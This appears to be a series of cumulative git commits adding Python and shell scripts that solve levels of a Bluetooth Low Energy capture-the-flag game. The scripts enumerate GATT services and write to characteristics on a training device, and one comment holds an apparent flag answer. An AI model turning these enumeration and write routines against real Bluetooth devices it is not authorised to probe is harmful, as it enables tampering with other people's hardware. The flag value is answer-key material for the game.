diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file
diff --git a/level_04.py b/level_04.py
new file mode 100644
index 0000000..252cefb
--- /dev/null
+++ b/level_04.py
@@ -0,0 +1,46 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+password = "AABBCCDDEEFF"
+
+sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True)
+while True:
+  if p.waitForNotifications(1.0):
+    # handleNotification() was called
+    continue
+    print "Waiting..."    
+     
+    #hex1 = p.readCharacteristic(0x2C)
+    #hex2 = binascii.b2a_hex(hex1) 
+    #hexlif2 = str(binascii.unhexlify(hex2))        
+            
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, params):
+    btle.DefaultDelegate.__init__(self)
+    # ... initialise here
+
+  def handleNotification(self, cHandle, data):
+    # ... perhaps check cHandle
+    # ... process 'data'
+    print("Data: "+data)
+
+p.disconnect()
\ No newline at end of file

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file
diff --git a/level_04.py b/level_04.py
new file mode 100644
index 0000000..252cefb
--- /dev/null
+++ b/level_04.py
@@ -0,0 +1,46 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+password = "AABBCCDDEEFF"
+
+sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True)
+while True:
+  if p.waitForNotifications(1.0):
+    # handleNotification() was called
+    continue
+    print "Waiting..."    
+     
+    #hex1 = p.readCharacteristic(0x2C)
+    #hex2 = binascii.b2a_hex(hex1) 
+    #hexlif2 = str(binascii.unhexlify(hex2))        
+            
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, params):
+    btle.DefaultDelegate.__init__(self)
+    # ... initialise here
+
+  def handleNotification(self, cHandle, data):
+    # ... perhaps check cHandle
+    # ... process 'data'
+    print("Data: "+data)
+
+p.disconnect()
\ No newline at end of file
diff --git a/load_level.py b/load_level.py
new file mode 100755
index 0000000..fd7da0f
--- /dev/null
+++ b/load_level.py
@@ -0,0 +1,60 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x30
+board_uuid = 0x2e
+score_uuid = 0x00ff
+
+if len(sys.argv) != 2:
+   print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>"
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+#p.connect(deviceMAC, "public")
+if( sys.argv[1] == "s"):
+	# load scroebaord... hopefully
+	print("Loading scoreboard")
+	#deviceMAC = open('ctf_mac.txt').read()  
+	#p = btle.Peripheral(deviceMAC)
+	response = p.writeCharacteristic(board_uuid, "fuck you")
+else:
+	level = int(sys.argv[1])
+	level_hex = str('%0*x' % (4,level))
+	print level_hex
+
+	
+
+	#print ("Attached to peripheral")
+	#services = p.getServiceByUUID(score_uuid)
+	#char = services.getCharacteristics(chall_uuid)[0]  
+
+	print("Loading level")
+	#char.write(level_hex)
+	hex1 = binascii.unhexlify(level_hex)
+	response = p.writeCharacteristic(chall_uuid, hex1)
+
+print("If error try again...it takes a few attempts, BLE is a bit crap")
+p.disconnect()
+time.sleep(1)
+p = btle.Peripheral(deviceMAC)
+
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+       #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+       #hexlif2 = binascii.unhexlify(hex2)
+       hexlif2 = characteristic.read()
+       
+       print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+       
+  else:
+  	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+p.disconnect()

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file
diff --git a/level_04.py b/level_04.py
new file mode 100644
index 0000000..252cefb
--- /dev/null
+++ b/level_04.py
@@ -0,0 +1,46 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+password = "AABBCCDDEEFF"
+
+sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True)
+while True:
+  if p.waitForNotifications(1.0):
+    # handleNotification() was called
+    continue
+    print "Waiting..."    
+     
+    #hex1 = p.readCharacteristic(0x2C)
+    #hex2 = binascii.b2a_hex(hex1) 
+    #hexlif2 = str(binascii.unhexlify(hex2))        
+            
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, params):
+    btle.DefaultDelegate.__init__(self)
+    # ... initialise here
+
+  def handleNotification(self, cHandle, data):
+    # ... perhaps check cHandle
+    # ... process 'data'
+    print("Data: "+data)
+
+p.disconnect()
\ No newline at end of file
diff --git a/load_level.py b/load_level.py
new file mode 100755
index 0000000..fd7da0f
--- /dev/null
+++ b/load_level.py
@@ -0,0 +1,60 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x30
+board_uuid = 0x2e
+score_uuid = 0x00ff
+
+if len(sys.argv) != 2:
+   print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>"
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+#p.connect(deviceMAC, "public")
+if( sys.argv[1] == "s"):
+	# load scroebaord... hopefully
+	print("Loading scoreboard")
+	#deviceMAC = open('ctf_mac.txt').read()  
+	#p = btle.Peripheral(deviceMAC)
+	response = p.writeCharacteristic(board_uuid, "fuck you")
+else:
+	level = int(sys.argv[1])
+	level_hex = str('%0*x' % (4,level))
+	print level_hex
+
+	
+
+	#print ("Attached to peripheral")
+	#services = p.getServiceByUUID(score_uuid)
+	#char = services.getCharacteristics(chall_uuid)[0]  
+
+	print("Loading level")
+	#char.write(level_hex)
+	hex1 = binascii.unhexlify(level_hex)
+	response = p.writeCharacteristic(chall_uuid, hex1)
+
+print("If error try again...it takes a few attempts, BLE is a bit crap")
+p.disconnect()
+time.sleep(1)
+p = btle.Peripheral(deviceMAC)
+
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+       #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+       #hexlif2 = binascii.unhexlify(hex2)
+       hexlif2 = characteristic.read()
+       
+       print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+       
+  else:
+  	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+p.disconnect()
diff --git a/lvl_00.py b/lvl_00.py
new file mode 100755
index 0000000..de7cb6f
--- /dev/null
+++ b/lvl_00.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+simply follow the example https://github.com/hackgnar/ble_ctf_infinity
+to ensure know how to read and write to charachteristics and know the basics of how to navigate the game
+understand GATT services, charachteristics and handles.. the basics.
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+handle = "0x2e"
+content = "12345678901234567890"
+
+print("Sending \"12345678901234567890\" to 0x2e")
+
+services=p.getServices()
+
+hex_int = int(handle, 16)
+hex1 = binascii.hexlify(handle)
+response = p.writeCharacteristic(hex_int, content, True)
+print("Done")
+
+p.disconnect()
\ No newline at end of file

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file
diff --git a/level_04.py b/level_04.py
new file mode 100644
index 0000000..252cefb
--- /dev/null
+++ b/level_04.py
@@ -0,0 +1,46 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+password = "AABBCCDDEEFF"
+
+sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True)
+while True:
+  if p.waitForNotifications(1.0):
+    # handleNotification() was called
+    continue
+    print "Waiting..."    
+     
+    #hex1 = p.readCharacteristic(0x2C)
+    #hex2 = binascii.b2a_hex(hex1) 
+    #hexlif2 = str(binascii.unhexlify(hex2))        
+            
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, params):
+    btle.DefaultDelegate.__init__(self)
+    # ... initialise here
+
+  def handleNotification(self, cHandle, data):
+    # ... perhaps check cHandle
+    # ... process 'data'
+    print("Data: "+data)
+
+p.disconnect()
\ No newline at end of file
diff --git a/load_level.py b/load_level.py
new file mode 100755
index 0000000..fd7da0f
--- /dev/null
+++ b/load_level.py
@@ -0,0 +1,60 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x30
+board_uuid = 0x2e
+score_uuid = 0x00ff
+
+if len(sys.argv) != 2:
+   print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>"
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+#p.connect(deviceMAC, "public")
+if( sys.argv[1] == "s"):
+	# load scroebaord... hopefully
+	print("Loading scoreboard")
+	#deviceMAC = open('ctf_mac.txt').read()  
+	#p = btle.Peripheral(deviceMAC)
+	response = p.writeCharacteristic(board_uuid, "fuck you")
+else:
+	level = int(sys.argv[1])
+	level_hex = str('%0*x' % (4,level))
+	print level_hex
+
+	
+
+	#print ("Attached to peripheral")
+	#services = p.getServiceByUUID(score_uuid)
+	#char = services.getCharacteristics(chall_uuid)[0]  
+
+	print("Loading level")
+	#char.write(level_hex)
+	hex1 = binascii.unhexlify(level_hex)
+	response = p.writeCharacteristic(chall_uuid, hex1)
+
+print("If error try again...it takes a few attempts, BLE is a bit crap")
+p.disconnect()
+time.sleep(1)
+p = btle.Peripheral(deviceMAC)
+
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+       #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+       #hexlif2 = binascii.unhexlify(hex2)
+       hexlif2 = characteristic.read()
+       
+       print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+       
+  else:
+  	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+p.disconnect()
diff --git a/lvl_00.py b/lvl_00.py
new file mode 100755
index 0000000..de7cb6f
--- /dev/null
+++ b/lvl_00.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+simply follow the example https://github.com/hackgnar/ble_ctf_infinity
+to ensure know how to read and write to charachteristics and know the basics of how to navigate the game
+understand GATT services, charachteristics and handles.. the basics.
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+handle = "0x2e"
+content = "12345678901234567890"
+
+print("Sending \"12345678901234567890\" to 0x2e")
+
+services=p.getServices()
+
+hex_int = int(handle, 16)
+hex1 = binascii.hexlify(handle)
+response = p.writeCharacteristic(hex_int, content, True)
+print("Done")
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_01.py b/lvl_01.py
new file mode 100755
index 0000000..f4046b7
--- /dev/null
+++ b/lvl_01.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         goodbye 👋
+
+fc3fd58dcdad9ab23fac
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 1")
+hex1 = binascii.unhexlify(str('%0*x' % (4,1)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file
diff --git a/level_04.py b/level_04.py
new file mode 100644
index 0000000..252cefb
--- /dev/null
+++ b/level_04.py
@@ -0,0 +1,46 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+password = "AABBCCDDEEFF"
+
+sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True)
+while True:
+  if p.waitForNotifications(1.0):
+    # handleNotification() was called
+    continue
+    print "Waiting..."    
+     
+    #hex1 = p.readCharacteristic(0x2C)
+    #hex2 = binascii.b2a_hex(hex1) 
+    #hexlif2 = str(binascii.unhexlify(hex2))        
+            
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, params):
+    btle.DefaultDelegate.__init__(self)
+    # ... initialise here
+
+  def handleNotification(self, cHandle, data):
+    # ... perhaps check cHandle
+    # ... process 'data'
+    print("Data: "+data)
+
+p.disconnect()
\ No newline at end of file
diff --git a/load_level.py b/load_level.py
new file mode 100755
index 0000000..fd7da0f
--- /dev/null
+++ b/load_level.py
@@ -0,0 +1,60 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x30
+board_uuid = 0x2e
+score_uuid = 0x00ff
+
+if len(sys.argv) != 2:
+   print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>"
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+#p.connect(deviceMAC, "public")
+if( sys.argv[1] == "s"):
+	# load scroebaord... hopefully
+	print("Loading scoreboard")
+	#deviceMAC = open('ctf_mac.txt').read()  
+	#p = btle.Peripheral(deviceMAC)
+	response = p.writeCharacteristic(board_uuid, "fuck you")
+else:
+	level = int(sys.argv[1])
+	level_hex = str('%0*x' % (4,level))
+	print level_hex
+
+	
+
+	#print ("Attached to peripheral")
+	#services = p.getServiceByUUID(score_uuid)
+	#char = services.getCharacteristics(chall_uuid)[0]  
+
+	print("Loading level")
+	#char.write(level_hex)
+	hex1 = binascii.unhexlify(level_hex)
+	response = p.writeCharacteristic(chall_uuid, hex1)
+
+print("If error try again...it takes a few attempts, BLE is a bit crap")
+p.disconnect()
+time.sleep(1)
+p = btle.Peripheral(deviceMAC)
+
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+       #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+       #hexlif2 = binascii.unhexlify(hex2)
+       hexlif2 = characteristic.read()
+       
+       print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+       
+  else:
+  	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+p.disconnect()
diff --git a/lvl_00.py b/lvl_00.py
new file mode 100755
index 0000000..de7cb6f
--- /dev/null
+++ b/lvl_00.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+simply follow the example https://github.com/hackgnar/ble_ctf_infinity
+to ensure know how to read and write to charachteristics and know the basics of how to navigate the game
+understand GATT services, charachteristics and handles.. the basics.
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+handle = "0x2e"
+content = "12345678901234567890"
+
+print("Sending \"12345678901234567890\" to 0x2e")
+
+services=p.getServices()
+
+hex_int = int(handle, 16)
+hex1 = binascii.hexlify(handle)
+response = p.writeCharacteristic(hex_int, content, True)
+print("Done")
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_01.py b/lvl_01.py
new file mode 100755
index 0000000..f4046b7
--- /dev/null
+++ b/lvl_01.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         goodbye 👋
+
+fc3fd58dcdad9ab23fac
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 1")
